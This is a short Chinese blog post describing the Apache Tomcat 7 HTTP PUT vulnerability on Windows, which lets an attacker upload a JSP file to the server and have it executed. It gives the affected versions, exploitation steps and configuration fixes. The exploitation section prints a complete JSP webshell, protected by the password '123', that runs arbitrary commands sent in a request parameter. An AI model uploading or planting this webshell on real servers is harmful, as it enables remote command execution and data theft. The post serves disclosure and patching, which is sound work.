0X00漏洞概述
当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
0X01影响范围
Apache Tomcat 7.0.0 – 7.0.81
0X02漏洞利用
1.抓包,put上传一个jsp木马

<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
2.访问网站根目录下test.jsp

0X03修复方案
1.将 conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true
2.禁用put方法
3.升级至最高版本
本文详细介绍了当Tomcat在Windows环境下启用HTTP PUT请求时存在的0X00漏洞,攻击者可借此上传恶意JSP文件,执行任意代码,造成数据泄露或服务器权限被获取。文章提供了漏洞利用示例代码,并提出了修复方案,包括修改配置文件、禁用PUT方法及升级至最新版本。
1万+

被折叠的 条评论
为什么被折叠?



